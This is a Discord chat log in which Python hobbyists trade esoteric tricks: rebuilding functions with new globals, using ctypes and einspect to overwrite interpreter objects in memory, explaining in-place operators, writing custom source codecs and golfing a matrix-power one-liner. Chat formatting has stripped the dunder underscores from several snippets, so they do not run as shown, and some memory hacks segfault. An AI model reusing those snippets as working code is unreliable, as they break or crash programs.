should I copy paste the function body in order to create the new function? Or what do you mean?
create a new function instance
Ah, you mean dynamically? Sounds reasonable, will try. Thanks
!e ```py
def foo():
return Global_Value
try:
foo()
except Exception as e:
print(e)
foo = type(foo)(foo.code, foo.globals | {'Global_Value':'injected'})
print(foo())```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | name 'Global_Value' is not defined
002 | injected
^ that example re-builds foo with the new dictionary
- you can also pass in a dictionary subclass, but that can have partially unpredictable results afaik
Seems, you have modified the module global as well
that would not modify the module globals, it only changes what foo thinks the module globals is
!e Global_Value
@sonic birch :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | NameError: name 'Global_Value' is not defined
yea, the line where I rebuild foo adds Global_Value to the dictionary
I see. Cool, thanks a lot!
!e ```py
from ctypes import *
def foo():
return Global_Value
func_mem = (c_ssize_t * (foo.sizeof() // tuple.itemsize)).from_address(id(foo))
dict_offset = [*func_mem].index(id(foo.globals))
d = {'Global_Value': 'injected'}
py_object.from_address(id(foo) + (dict_offset * tuple.itemsize)).value = d
print(foo())``` @sonic birch you can also use ctypes to directly swap the dictionary without rebuilding foo but that can be unstable
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
injected
Wow, that one looks really esoteric 😎
well not previously but I've just added FunctionView along with PyFunctionObject https://github.com/ionite34/einspect/blob/dev/src/einspect/views/view_function.py#L16-L17
src/einspect/views/view_function.py lines 16 to 17
class FunctionView(View[FunctionType, None, None]):
_pyobject: PyFunctionObject```
so you can do
from einspect import view
def foo():
return Global_Value
with view(foo).unsafe() as v:
v.globals = {"Global_Value": 123}
print(foo())
>> 123
im curious, do you plan on adding a view for code objects as well?
Amazing😱
!e i propose to you, my newfound method of checking whether a container is non-empty 😎 ```py
@type.call
class anything:
def eq(self, __o: object) -> bool:
return True
x = [5, 6, 7, 8]
print(f"{anything in x = }")
y = []
print(f"{anything in y = }")
@subtle solar :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | anything in x = True
002 | anything in y = False
brilliant
@dry mirage sorry for the ping but you didn't respond so i don't think you saw my question
oh, yeah might do that next
alr
was asking cause if you weren't planning on doing it, i was gonna offer to do it
you can have a try if you want :p feel free to PR or anything
alr! will do that
I've gotten the offsets for most of the attributes already
was mapping it out anyway for a different project of mine so i have most of the information already
it's just a matter of formatting it and making it like the other ones
not sure if you're aware already but with my @struct decorator you can define fields using type hints
if you need to define a simple type like c_short you can use Annotated, the decorator will ignore whatever the first argument is, and take the second one as the field type
so like with this, you'll get the correct python type of int, and the decorator will use the c_short type to generate the correct field
_co_linearray_entry_size: Annotated[int, c_short]
ah
that's nice
if you need to do bit widths it's a third argument, so
_fields_ = [
("var", c_uint, 3)
]
would be
var: Annotated[int, c_uint, 3]
What does the @type.call do and why is it necessary here?
that's a decotator
@some_decotator
def foo(x):
...
# is roughly equivalent to
def foo(x):
...
foo = some_decorator(foo)
and the same for classes
I know. The question was why is it needed here? I see that without this decorator you will need to create an instance of anything class like anything() in x in order to make it work. But I don't get why it work
type.__call__ decorator makes it so that anything is already an instance
!e ```py
@type.call
class foo:
...
print(foo)
@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
<__main__.foo object at 0x7f078da5ffd0>
You can imagine it like this as well
!e ```py
@lambda _: _()
class foo:
...
print(foo)
@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.
<__main__.foo object at 0x7f7e75bf4190>
Never saw this tweak before. Thanks it've helped. BTW I asked ChatGPT this question, and ChatGPT wasn't able to explain it to me. So +1 to humanity 🙂
Wasnt able to answer because its not a common practice which is one of its flaws

Exactly. ChatGPT is not esoteric at all It is a pop-star 🙂
ChaptGPT to prototype fast then bug fix afterwards for 8 hrs
import time
g=lambda:int(time.time()*1e3)<<22|1<<12
anyway to shorten this more
its a basic snowflake id generation if that helps
wdym "snowflake id generation"
^
if you're looking for a number that won't be repeated, you can just use time.time()
since you're doing more than that, i assume you want the number to have some specific properties?
import time
g=lambda:int(time.time()*1e3)<<22|8<<9
```-1c
!e BTW, you approach works if I try to assign a new globals to the function. If I just add a new item to it - the item is also added to the module's globals. Is it expected?
from einspect import view
def foo():
a = 12
print(a)
with view(foo).unsafe() as v:
v.globals |= {'boo': 4}
print(globals()['boo'])
@sonic birch :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 10, in <module>
003 | AttributeError: 'View' object has no attribute 'globals'
!e ```py
a = {'a': 1}
b = a
b |= {'b':2}
print(a, b)
print(a is b)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | {'a': 1, 'b': 2} {'a': 1, 'b': 2}
002 | True
thats because |= updates the original dict
!e just like += for lists ```py
l1 = [1]
l2 = l1
l2 += [2]
print(l1, l2)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
[1, 2] [1, 2]
I see. It is like operator equivalen for updaye and append. Yes, it is fixed by `v.globals = v.globals | {'boo': 4}. Just wonder isn't it will be confused for other guys
!e its a bit of a quirk of python that the standard for inplace operators is to modify the original. its the source of this odd error: ```py
x = ([1],)
try:x[0] += [2]
except Exception as e:print(e)
print(x)
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 'tuple' object does not support item assignment
002 | ([1, 2],)
i dont think thats intended behaviour
it is, because it ends up calling the following: py x[0] = x[0].__iadd__([1]) # or tuple.__setitem__(x, 0, list.__iadd__(x[0], [1]))
What? How?😱
!e import dis;dis.dis('x[0] += y')
@rugged sparrow :white_check_mark: Your 3.10 eval job has completed with return code 0.
001 | 1 0 LOAD_NAME 0 (x)
002 | 2 LOAD_CONST 0 (0)
003 | 4 DUP_TOP_TWO
004 | 6 BINARY_SUBSCR
005 | 8 LOAD_NAME 1 (y)
006 | 10 INPLACE_ADD
007 | 12 ROT_THREE
008 | 14 STORE_SUBSCR
009 | 16 LOAD_CONST 1 (None)
010 | 18 RETURN_VALUE
3.10 bytecode is more concise, but same concept
you can see that it calls the STORE_SUBSCR opcode
i would think that it would call tuple.__getitem__(([1], ), 0).__iadd__([2])
yep
at least, that'd make more sense
- not all objects define
__iadd__
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
['ab']
(also integers, floats and tuples)
but the bytecode can't know that its working with a list
10 INPLACE_ADD
that's the bytecode for__iadd__, no?
yes
INPLACE_ADD either does return stack[0].__iadd__(stack[1]) or if stack[0] doesnt have __iadd__ it does return stack[0] + stack[1]
note that it will also have an assignment call afterwards if it doesn't have __iadd__
i was refering to just the INPLACE_ADD, which eventually calls https://github.com/python/cpython/blob/81f7359f67a7166d57a10a3d5366406d9c85f1de/Objects/abstract.c#L1247-L1267
the assignment call happens in the next few bytecodes, not the INPLACE_ADD opcode
the assignment call always happens, regardless of the existence of __iadd__
it's BINARY_OP 13 in 3.11+ right?
yea, but INPLACE_ADD reads better lol
i wonder why they didn't just separate INPLACE_* from BINARY_*
because it is still a BINARY_OP
!e
from einspect import view
_ = view("true")
__ = view("false")
with _.unsafe() as un_:
un_ <<= True
with __.unsafe() as un__:
un__ <<= False
print("true", "false")
@rugged owl :white_check_mark: Your 3.11 eval job has completed with return code 0.
False False
What is happening here
it seems like they're 2 different instances of False
in the end
!e ```py
from einspect import view
_ = view("true")
with .unsafe() as un:
un_ <<= True
print("true")
@quartz wave :white_check_mark: Your 3.11 eval job has completed with return code 0.
False
i am pretty sure that the repr for bool does an identity check, basically py def repr(self): if self is True: return 'True' else: return 'False'
@rugged owl
also this
Objects/boolobject.c lines 9 to 14
static PyObject *
bool_repr(PyObject *self)
{
PyObject *res = self == Py_True ? &_Py_ID(True) : &_Py_ID(False);
return Py_NewRef(res);
}```
!e yeah you'd have to override bool repr since it defaults to checking identity
from einspect import view
view(bool)["__repr__"] = lambda s: "True" if int(s) else "False"
view("true") << True
view("false") << False
print("true", "false")
print(int("true"), int("false"))
print(type("true"))
print("false" == False)
print("true" == True)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | True False
002 | 1 0
003 | <class 'bool'>
004 | True
005 | True
!e
from einspect import view
view(bool)["__repr__"] = lambda s: "True" if int(s) else "False"
view("true") << True
view("false") << False
print("true", "false")
print("tr" + "ue")
@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | True False
002 | True
neat
hmm i wonder
!e
from einspect import view
view(int)['__add__'] = lambda n, m: 3
with view('1').unsafe() as un1:
un1 <<= 1
print('1' + '1')
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
11
eh
!e
from einspect import view
view(str)['__add__'] = lambda n, m: 3
with view('1').unsafe() as un1:
un1 <<= 1
print('1' + '1')
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
11
what
'1' + '1' is inlined during compilation
ah
ofc
is it still inlined?
ah needs to be str.__add__
wait what
2?
!e
from einspect import view
view(str)['__add__'] = lambda n, m: 3
with view('1').unsafe() as un1:
un1 <<= 1
one = '1'
print(one + one)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
2
what
well it's not str add since you moved it to an int
!e
from einspect import view
view(int)['__add__'] = lambda n, m: 3
with view('1').unsafe() as un1:
un1 <<= 1
one = '1'
print(one + one)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
11
int add isn't it either
uh
so I think you overriding int add like that broke the offset calculation for the move afterwards
ah
!e
from einspect import view
view('1') << 1
view(int)['__add__'] = lambda n, m: 3
x = '1'
print(x + '1')
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
3
oh lol
yeah that's supposed to be safe
!e
from einspect import view
view(int)['__add__'] = lambda n, m: 3
try:
view('1') << 1
except RuntimeError as e:
print(e)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
memory move of 3 bytes into allocated space of 0 bytes is out of bounds. Enter an unsafe context to allow this.
3 bytes into allocated space of 0 bytes
yeah 🥴 completely brok
!e there's also a new singleton NULL now if you want to set a NULL PyObject pointer for some reason
from einspect import view, NULL
t = [1, 2, 3]
view(t).item[1] = NULL
print(t)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
[1, <NULL>, 3]
does that make the int 2 into NULL or just the list item?
just the item I think
!e for some reason the built-in reprs support formatting null pointers, but if you try to access the value:
from einspect import view, NULL
t = [1, 2, 3]
view(t).item[1] = NULL
print(t[1])
@dry mirage :warning: Your 3.11 eval job has completed with return code 139 (SIGSEGV).
[No output]
!e ```py
from einspect import view, NULL
t = [1, 2, 3]
view(t).item[1] = NULL
print(repr(t[1]))
@quartz wave :warning: Your 3.11 eval job has completed with return code 139 (SIGSEGV).
[No output]
aw
__setitem__ calls PyObject.from_object on the value
I'll need to add some override to recognize NULL
!e
from einspect import view, NULL
t = (1, 2, 3)
view(t)[1] = NULL
print(t)
print(t[1])
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | (1, <NULL ptr[PyObject] at 0x7f426207df00>, 3)
002 | <NULL ptr[PyObject] at 0x7f426207df00>
otherwise it literally sets that PyObject pointer as an object
ah
Heh, made this abomination can ya guess what it does?
C = lambda o, b = tuple(), m = MappingProxyType({
"|" : "__or__",
"&" : "__and__",
"^" : "__xor__",
"<<": "__lshift__",
">>": "__rshift__",
"+" : "__add__",
"-" : "__sub__",
"*" : "__mul__",
"/" : "__truediv__",
"//": "__floordiv__",
"%" : "__mod__",
"**": "__pow__",
"==": "__eq__",
"!=": "__ne__",
"<" : "__lt__",
"<=": "__le__",
">" : "__gt__",
">=": "__ge__",
}): type(
"P",
(type,),
f := {m.get(o, o): lambda self, other: self(other)},
)("C", b, f)
the dict should give a clue
8. Do not help with ongoing exams. When helping with homework, help people learn how to do the assignment without doing it for them.
Was this directed at me? ^
if so, not been a student in a few decades lol
this is evil of my own concoction
my guess is that someone else sent a message
and they deleted it after the rule was brought up
oh lol, derp
Pipe | (PipeGen | range(10) | (lambda x: (i ** 2 for i in x))) | list | print
its evil lol

OMG, that emoji is so cute
Man, what are you doing? Are you using some kind of functional programming library for Python?
Clue here 😛
Basically, a functional pipeline tool
I have "simplified" it
since that last post
and by simplified I mean removed the need for a seperate generator class
Few months ago I tried to implement similar library. Not finished so far)
Oh, this was just to show someone it can be done lol, its basically combinator logics, which I recently buiot a whole lang parser from, using similar overloads so you can define grammars in python kinda like EBNF
Any links? Sounds interesting
Hey @cedar isle!
It looks like you tried to attach a Python file - please use a code-pasting service such as https://paste.pythondiscord.com
Don't have links for it yet, as still a little bit unstable
here is link for todays stuff
https://paste.pythondiscord.com/qiyuqunozu
and here is the logics for my combinator parser
(its still WIP so bear with)
https://paste.pythondiscord.com/yugatupalu
and a snippet of how it works
Identifier = Regex(r"[a-zA-Z_][a-zA-Z0-9_]*")
Assignment = Regex(r"=")
Number = Regex(r"0x[0-9a-fA-F]+|[0-9]+(\.[0-9]+)?")
String = Regex(r'"[^"]*"')
Comment = Regex(r";.*")
Semicolon = Regex(r";")
variable = Identifier >> ~Whitespace >> Assignment >> ~Whitespace >> Number >> ~Whitespace >> Semicolon
Why do you want to have it on Python. Why do not use the pure EBNF? Just for fun?
instead of calling Regex, you could make it so that it calls regex when you get the variable
it'd be closer to the ebnf syntax then
Wasn't there a way to compile multiple lines in together
I forgot a lot about regex stuff
By lines I mean regular exprs
you mean where it would have to match all of the ones passed to succeed?
No I remember seeing someone compile a large string that had a bunch of regular exprs that match independently
But I must've remembered wrong cause that sounds not right
Oh yea possible, just use groups as meta data
So when you match, check group name to determine token kind
@old socket
Hello, does anyone know how to create a perceptron in python? help me please
@sick hound Sorry for ping, but I keep getting SyntaxError encoding problem when messing around codecs. Do you know what I'm doing wrong?
Using -*- coding: custom -*- and # coding: custom both yields same result
I need to import manually then it'll load the codec
*And I know custom_autload.pth is running because I added a print
Oh I had to add an incrementaldecoder
no idea honestly, I just tell people to copy manually lol
you could try https://github.com/pyston/pyston/blob/de7c5c28d9fcb09b67c29d6c41dcc2427b955f48/pyston/pyston_lite/autoload/setup.py
The main reason I wanted a function like this is because with poetry you can set the build script
So when building via poetry then uploading to pypi people will be able to skip that whole step
yea I don't think you can automate this with poetry
I also use that
also a tip I didn't notice until I was already done: beware of bytecode cache
Did you do ```toml
[tools.poetry]
build = ...
you will still have old bytecode if you change only the encoder, and not update the script using it and try importing it
How do I update the cache?
I was planning on taking in the bytes, turning it into a string then lexing & parsing
if you delete __pycache__ it'll get regenerated
depends on what you want to do
Ohh, I see
https://github.com/dzshn/lispy this only uses tokenize.tokenize
So If I made any updates to the compiler it'll use old bytecode unless pycache is deleted
wait no that doesnt use codecs yet
I mainly want to use ast module bc It's a lot cleaner imo and the import interface is easy
And as long as I add each of the ast nodes it'll be interop
anyways I gave this as example cuz by using tokenize it actually made parsing simpler
there's only like 20 lines of code doing parsing
I was gonna use lark
So I can write some good "EBNF" type grammar
bytes -> str -> lark -> visitor -> ast.Module -> return ast.unparse
Do you need to do anything special to make the code execute? Because I manually put print("Hello World!") into the codec decoder and it didn't print at all when running the file
you just return valid code from your codec
Oh
Do you know why it wasn't running then?
I basically had ```py
def decode(...) -> tuple[str, int]:
data = b"print('Hello World')"
return data.decode(), len(data)
Or am I looking at this too simply
return len(input)
not data
this code works for plugging in a function that transforms bytes to bytes: https://github.com/dzshn/pypp/blob/main/pypp/_codec.py
The integer being returned is the amount of lines or?
I've been kinda looking at everyone elses codecs without doing much looking at the documentation
Or the read line count?
it's the amount of bytes consumed from input (if it's less than input's length the function will be called again)
tbh I had to try and guess a lot
Oh, so you just get the length on the input since you can assume all the bytes had been read
I see
somehow there's even wrong stubs for this
I recommend doing what that script does and just consume the entire input at once, and hook whatever code you want
otherwise it's kind of a headache
Hmmm I still cannot get it to run
I'll try again
Yea, I cannot get the codec to replace invalid code with valid code
λ ~/custom poetry run python test.py
b'\n\nlet foo: str = "Hello World"\n'
``` It does get the invalid syntax here when printing
Okay... I guess I need to add \n\n then finish with \n in order to get the code to run
I'm super confused lmao
Looks like I just need to end with a new line other wise it won't actually execute
how do you not get stuck in positioning hell
by simply ignoring everything but type and string lol
so like doesn't that normalize whitespace
because in mine it's an objective to keep it as-is
with lispy it doesn't matter cuz it build's it's own thing and executes it
pypp though.. lol
the input for that
Is input of decode for codec only memoryview when an error happens?
At this point you can definitely write a C to Python transpiler (platform-dependent).
c = __import__('ctypes.util')
c_lib = c.CDLL(c.util.find_library('msvcrt'))
fptr = c_lib._get_osfhandle(1)
realf = c_lib._open_osfhandle(fptr, 8)
c_lib._fdopen.restype = c.POINTER(c.c_char)
fd = c_lib._fdopen(realf, 'w')
c_lib.fputs(b'Hello msvcrt!', fd)
c_lib.fflush(fd)
c_lib.fclose(fd)
c_lib._exit(0)
Output:
Hello msvcrt!
(keep in mind that this actually bypasses things like contextlib.redirect_stdout)
The implementation details are pretty smart
it uses ##encoding pypp and preprocesses it by manipulating the encoding
Hi I’m back
Just realised after thinking about it more that it isn't this simple 😔
I'll need to make a node visitor class then check column and line numbers to manually indent
this isn't really a transpiler though..? it just calls C from Python
sort of equivalent to a python to C transpiler calling the python subprocess from C
Not sure if there would be another way though? How would you simulate malloc, calloc and pointers well otherwise?
it only needs to be functionally equivalent, not implementation details though?
I suppose but also a lot of the C library is inaccessible
Like you can't catch floating-point errors with _clear87
If you are using python floats
why would you have a floating point error with python floats 
No, in C you can have a floating point error (underflow/overflow)
and then catch it
lemme find an example
right, but surely you can do the same functional thing without messing with float errors?
Usually yes, but you would have to know at compile-time when such issues would occur so that you can manually set the fp error
(technically transpile-time)
!e
a = b = 1e-40
y = a
print(y)
b = y
print(b)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 1e-40
002 | 1e-40
this all just works without errors
Which is also technically a problem
because sometimes C code abuses such behavior
an implementation that relies on float errors can be refactored to not
true
like functionally you want to calculate Fibonacci sequences, it doesn't matter how you get there
but refactoring on a scale like that is not typically possible in a transpiler
you wrote this? damn good job
wrote this one liner to raise a matrix m to the power of n. think you can make it shorter? (no semicolons or using numpy)
[[m := [[sum([r[i] * c[i] for i in range(len(c))]) for c in zip(*p)] for r in m] for _ in range(n - 1)] for p in [m]][-1][-1]
without actually thinking about the math, you've got a lot of unnecessary spaces
[[m:=[[sum([r[i]*c[i]for i in range(len(c))])for c in zip(*p)]for r in m]for _ in range(n - 1)]for p in [m]][-1][-1]
[[m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*p)]for r in m]for _ in range(n-1)]for p in [m]][-1][-1]
other low hanging optims
for p in [m] feels wrong
yea i wasnt too sure what that was for either
I think this does the same thing, but without that
not sure though
[m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*m)]for r in m]for _ in range(n-1)][-1]
range(n-1) is shorter as [0]*~-n I think
smart
[m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*m)]for r in m]for _ in[0]*~-n][-1]

does this even work
Good question
!e
m=[[1, 1], [1, 0]]
n = 5
[m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*m)]for r in m]for _ in[0]*~-n][-1]
print(m)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
[[1597, 987], [987, 610]]
no it doesn't
ive no idea if that is right
!e ```py
m, n = [[1, 2, 3], [4, 5, 6], [7, 8, 9]], 2
print([[m := [[sum([r[i] * c[i] for i in range(len(c))]) for c in zip(p)] for r in m] for _ in range(n - 1)] for p in [m]][-1][-1])
m, n = [[1, 2, 3], [4, 5, 6], [7, 8, 9]], 2
print([m:=[[sum(RC for R,C in zip(r,c))for c in zip(m)]for r in m]for _ in[0]~-n][-1])
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[30, 36, 42], [66, 81, 96], [102, 126, 150]]
002 | [[30, 36, 42], [66, 81, 96], [102, 126, 150]]
Nope, they are functionally equivalent
(what is it supposed to be doing here)
did the original even work
Matrix power
Not correctly it seems
mm
idk what that is
is it updating m in place or having that expression be the power, with m modified along the way
@BugleBoy#1234 multing a matrix by itself n times
!e ```py
import numpy as np
x = np.arange(1, 10, 1).reshape(3,3)
y = np.matrix(x)
a = y**3
print(a)
dk what a matrix is ¯_(ツ)_/¯
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[ 468 576 684]
002 | [1062 1305 1548]
003 | [1656 2034 2412]]
!e
import numpy as np
m = [[1, 1],[1, 0]]
n = 10
print(np.array(m)**n)
print([[m := [[sum([r[i] * c[i] for i in range(len(c))]) for c in zip(*p)] for r in m] for _ in range(n - 1)] for p in [m]][-1][-1])
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[89, 55], [55, 34]]
002 | [[-5711768217452919631 253295162119140625]
003 | [ 253295162119140625 2064377754059776]]
pretty much a 2d list
oh ok
m got updated
M is modified on the prev line
ah
then what would multiplying them do
!e
import numpy as np
m = [[1, 1],[1, 0]]
n = 10
print([[m := [[sum([r[i] * c[i] for i in range(len(c))]) for c in zip(*p)] for r in m] for _ in range(n - 1)] for p in [m]][-1][-1])
m = [[1, 1],[1, 0]]
print(np.array(m)**n)
@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[89, 55], [55, 34]]
002 | [[1 1]
003 | [1 0]]
you can't multiply lists
Heh
Its a grid of numbers used in maths with special rukes on how to treat them which is useful in fields such as 3d rotation and loads of stufff
!e
import numpy as np
m = [[1, 1],[1, 0]]
n = 10
print(np.array(m)**n)
print([[m := [[sum([r[i] * c[i] for i in range(len(c))]) for c in zip(*p)] for r in m] for _ in range(n - 1)] for p in [m]][-1][-1])
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[1 1]
002 | [1 0]]
003 | [[89, 55], [55, 34]]
...
Interesting
oh piss
ah
am I bad at numpy
** is elementwise
the original didn't even work
it's a fancy math thing
alr
!e
import numpy as np
m = [[1, 1],[1, 0]]
n = 10
print(np.linalg.matrix_power(m, n))
print([[m := [[sum([r[i] * c[i] for i in range(len(c))]) for c in zip(*p)] for r in m] for _ in range(n - 1)] for p in [m]][-1][-1])
wait
..
@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[89 55]
002 | [55 34]]
003 | [[89, 55], [55, 34]]
there
import numpy as np
m = [[1, 1],[1, 0]]
n = 10
print(np.linalg.matrix_power(m, n))
m = [[1, 1],[1, 0]]
n = 10
print([[m := [[sum([r[i] * c[i] for i in range(len(c))]) for c in zip(*p)] for r in m] for _ in range(n - 1)] for p in [m]][-1][-1])
so it is working correctly
shortest:
[m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*m)]for r in m]for _ in[0]*~-n][-1]
fyi original broke for n = 0 and 1
ok well assuming we're just working with the original then this is the best so far
the goal is to function the same as the original, no?
0 is a little messy since you need to return the identity, 1 should be an easy fix
but we could just assume n > 1 :)
I would suppose so
doesn't matter if the original is flawed, as long as ours has the same flaw
Man list comprehensions are great but also too long
[m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*m)]for r in m]for _ in[0]*~-n][-1]
# PEP 123.456: Implicit comprehensions
[m:=[[sum(R*CR,Czip(r,c))czip(*m)]rm]_[0]*~-n][-1]

I made a thing I think people here would like, here is a kata about minimalist python:
https://www.codewars.com/kata/63d4b700bce90f0024a9ca19
exciting
!e
(
(c := __import__("ctypes")),
(gfp := (lambda f: id(f) + 16)),
(cvp_fa := (lambda o: c.c_voidp.from_address(o))),
(sw_f := (lambda f, F, *, s={}: (
s.__setitem__(f, cvp_fa(gfp(f)).value),
cvp_fa(gfp(f)).__setattr__("value", s.get(F, False) or cvp_fa(gfp(F)).value),
None)[-1]))
)
sw_f(max, min)
sw_f(min, max)
print(min(1, 2, 3), max(1, 2, 3))
@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.
3 1
this isn't super complicated, but its fun to play around with
<@&831776746206265384> unrelated to channel topic, and sending the same message in multiple channels rapidly
also, is a scam
heck yea I love crypto bots 😄
ty mods!
mhm.
lol
this doesn't seem to work
!e
from numpy.linalg import matrix_power
n = 3
m = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
print([m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*m)]for r in m]for _ in[0]*~-n][-1])
m = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
print(matrix_power(m, n))
@sinful stirrup :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[7560, 9288, 11016], [17118, 21033, 24948], [26676, 32778, 38880]]
002 | [[ 468 576 684]
003 | [1062 1305 1548]
004 | [1656 2034 2412]]
🤔
i can't think of a way to do this without storing a copy of m to multiply with every time like what i do with for p in [m] (which btw feels really wrong but i think it's necessary)
so judging by my test this doesn't work but this:
[[m:=[[sum(R*C for R,C in zip(r,c))for c in zip(*m)]for r in p]for _ in[0]*~-n][-1]for p in[m]]
does
!e
from numpy.linalg import matrix_power
arr = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
print(matrix_power(arr, 8))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[ 510008400 626654232 743300064]
002 | [1154967822 1419124617 1683281412]
003 | [1799927244 2211595002 2623262760]]
hmm
not fixable
!e
from numpy.linalg import matrix_power
arr = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
print(matrix_power(arr, 4))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[ 7560 9288 11016]
002 | [17118 21033 24948]
003 | [26676 32778 38880]]
oh nvm
without using the p thing m keeps multiplying by itself and it also gets bigger every time so the numbers are gonna get exponentially bigger than they should be
where are commas?
numpy doesn't repr with commas
they're a lot of noise when you have multidimensional arrays
numpy also uses ellipses when it gets big
!e
import numpy as np
print(np.ones((100, 100)))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[1. 1. 1. ... 1. 1. 1.]
002 | [1. 1. 1. ... 1. 1. 1.]
003 | [1. 1. 1. ... 1. 1. 1.]
004 | ...
005 | [1. 1. 1. ... 1. 1. 1.]
006 | [1. 1. 1. ... 1. 1. 1.]
007 | [1. 1. 1. ... 1. 1. 1.]]
Is it just me or is anyone else slightly annoyed by the two brackets on top left corner and bottom right corner
Like, I'm sure it would be easy to get rid of those two
they are needed for consistency with 3d arrays afaik
think of how confusing it would be if multi dim arrays would be printed as a bunch of one dim arrays
you couldn't tell the difference between a 2d array and a bunch of 1d array printed on multiple lines
that would be a horrible design choice
!e like here:
import numpy as np
print(np.ones((5, 5)))
print(np.ones(5))
@vernal pivot :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[1. 1. 1. 1. 1.]
002 | [1. 1. 1. 1. 1.]
003 | [1. 1. 1. 1. 1.]
004 | [1. 1. 1. 1. 1.]
005 | [1. 1. 1. 1. 1.]]
006 | [1. 1. 1. 1. 1.]
there is a clear distinction between the 2d and 1d array
without the double brackets it would look like the 1d array is part of the 2d array or the 2d array is a bunch of 1d arrays
they're aligned quite nicely for me
Oh yea, I forgot to consider what it would look like with two arrays
you also need them for higher dims
!e
import numpy as np
print(np.zeros((3, 3, 3, 3, 3)))
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[[[[0. 0. 0.]
002 | [0. 0. 0.]
003 | [0. 0. 0.]]
004 |
005 | [[0. 0. 0.]
006 | [0. 0. 0.]
007 | [0. 0. 0.]]
008 |
009 | [[0. 0. 0.]
010 | [0. 0. 0.]
011 | [0. 0. 0.]]]
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/arewajaqug.txt?noredirect
!e import numpy as np; print(np.ones((4,4,4,4)))
@earnest wing :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | [[[[1. 1. 1. 1.]
002 | [1. 1. 1. 1.]
003 | [1. 1. 1. 1.]
004 | [1. 1. 1. 1.]]
005 |
006 | [[1. 1. 1. 1.]
007 | [1. 1. 1. 1.]
008 | [1. 1. 1. 1.]
009 | [1. 1. 1. 1.]]
010 |
011 | [[1. 1. 1. 1.]
... (truncated - too many lines)
Full output: https://paste.pythondiscord.com/sifoteleya.txt?noredirect
well looks like that was already answered above
added View.swap now
from einspect import view
view("dog").swap("cat")
print("dog", "cat")
# >> cat dog
view(max).swap(min)
print(min(1, 2, 3), max(1, 2, 3))
# >> 3 1
cool
ooh nice
!e
from einspect import view
view(True).swap(False)
print(True, False)
while True:
pass
else:
if False:
print('cursed')
@low lynx :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 3, in <module>
003 | AttributeError: 'BoolView' object has no attribute 'swap'
aww

I've done this before -- it gets optimized out by the bytecode compiler sadly
probably not
since it'd still get const folded
it should work with bool() though
since that's not a constant
what does this channel do?
something like
print.__call__((lambda x,y,z: "\150\151\041"+str(x*y) * z )(2838,493734,0))
i = (lambda: 1+1+1)()
eval("\160\162\151"+"\156\164("+str(print)[3]+"+"+str((1248+9384)%1)+")")
right
Hi everyone! For those that were interested in keeping up with my work before,
Here is an update on what I have been up to!
https://docs.google.com/document/d/1o55VR1Or-n3ZBXT-OsQ2H9-Tfuiiehy--MNyW3Tz630/edit?usp=sharing
https://docs.google.com/document/d/1sjVCStT5bUNPq-WwjDoqv-4qKp8EjUyU6NwZnz6XxUw/edit?usp=sharing
https://docs.google.com/document/d/1puOidr92mbd5IYAjbN03vVOIodUq8zo3ulOLhqXyvm8/edit?usp=sharing
https://docs.google.com/document/d/1IXcmfBqxf1rcr9vcsJwUpgHU3Z07EN8iBRCw91J2PDg/edit?usp=sharing
https://docs.google.com/document/d/1b03xLX0s7jScLkBIDapUa1pD0pNAWPALN6cH7iHcZLQ/edit?usp=sharing
https://docs.google.com/document/d/1rtOTKpPTuJ6mBjaGIsznhSa3R9wGHl5GnURED_oSRcU/edit?usp=sharing
